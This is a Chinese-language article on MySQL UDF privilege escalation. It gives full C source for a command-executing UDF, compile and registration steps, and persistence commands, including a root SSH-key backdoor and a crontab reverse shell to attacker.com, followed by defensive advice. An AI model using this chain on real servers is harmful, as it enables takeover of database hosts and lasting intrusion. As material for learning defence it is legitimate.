MySQL用户自定义函数安全风险与权限提升防范
UDF机制及其潜在安全威胁
MySQL支持用户自定义函数(User Defined Functions, UDF),允许开发者通过C/C++等语言编写共享库,并将其集成至数据库中,从而在SQL语句中调用外部逻辑。虽然该功能增强了数据库的扩展能力,但若配置不当,可能被攻击者用于执行任意系统命令,进而实现权限提升。
UDF加载与执行流程
UDF通常以动态链接库形式存在,在Linux系统中为.so文件,在Windows中为.dll。MySQL通过CREATE FUNCTION语法将这些库注册为可调用函数。一旦恶意库被加载且具备相应权限,即可在数据库内部触发操作系统级操作。
构造并部署恶意扩展函数
以下示例展示一个具备命令执行能力的UDF实现:
#include <mysql.h>
#include <stdlib.h>
extern "C" {
my_bool exec_cmd_init(UDF_INIT *init, UDF_ARGS *args, char *msg) {
if (args->arg_count != 1 || args->arg_type[0] != STRING_RESULT) {
strcpy(msg, "参数必须为字符串");
return 1;
}
return 0;
}
void exec_cmd_deinit(UDF_INIT *init) {}
long long exec_cmd(UDF_INIT *init, UDF_ARGS *args, char *null, char *error) {
system(args->args[0]);
return 0;
}
}
此函数名为exec_cmd,接收一条shell命令作为输入并通过system()执行。
编译与部署共享库
在目标系统上使用GCC进行编译:
g++ -fPIC -shared -o /tmp/exec_cmd.so exec_cmd.cpp -I/usr/include/mysql
随后将生成的exec_cmd.so上传至MySQL插件目录,常见路径包括/usr/lib/mysql/plugin或/var/lib/mysql/plugin。
注册并调用自定义函数
通过具有足够权限的数据库会话执行以下SQL指令:
CREATE FUNCTION exec_cmd RETURNS INTEGER SONAME 'exec_cmd.so';
注册完成后即可在查询中调用该函数:
SELECT exec_cmd('whoami > /tmp/whoami_result');
该操作将当前运行MySQL服务的系统用户写入指定文件,验证是否具备高权限上下文执行能力。
权限维持与横向移动
成功执行系统命令后,攻击者可进一步植入持久化后门、读取敏感配置文件或尝试本地提权。例如:
-- 添加SSH公钥
SELECT exec_cmd('mkdir -p /root/.ssh && echo "ssh-rsa AAA..." >> /root/.ssh/authorized_keys');
-- 尝试写入计划任务
SELECT exec_cmd('echo "* * * * * root /bin/bash -c \'bash -i >& /dev/tcp/attacker.com/4444 0>&1\'" >> /etc/crontab');
防御策略建议
最小权限原则
确保MySQL服务账户不具备对关键目录的写权限,尤其是插件目录。避免以root身份运行数据库进程。
权限隔离控制
限制普通用户使用CREATE FUNCTION和DROP FUNCTION权限。仅授权可信管理员账户操作UDF相关功能。
文件完整性监控
定期扫描插件目录中的新增或修改文件,结合哈希校验识别可疑共享库。可通过如下SQL检查已注册UDF:
SELECT name, dl FROM mysql.func;
启用审计与防火墙机制
启用MySQL企业版防火墙或第三方审计工具,记录异常SQL行为。对于社区版用户,可借助操作系统的审计模块(如auditd)追踪dlopen、system等敏感调用。
及时更新与补丁管理
保持MySQL版本处于最新稳定状态,修复已知漏洞。部分旧版本存在默认开启高权限账户的问题,应及时调整配置。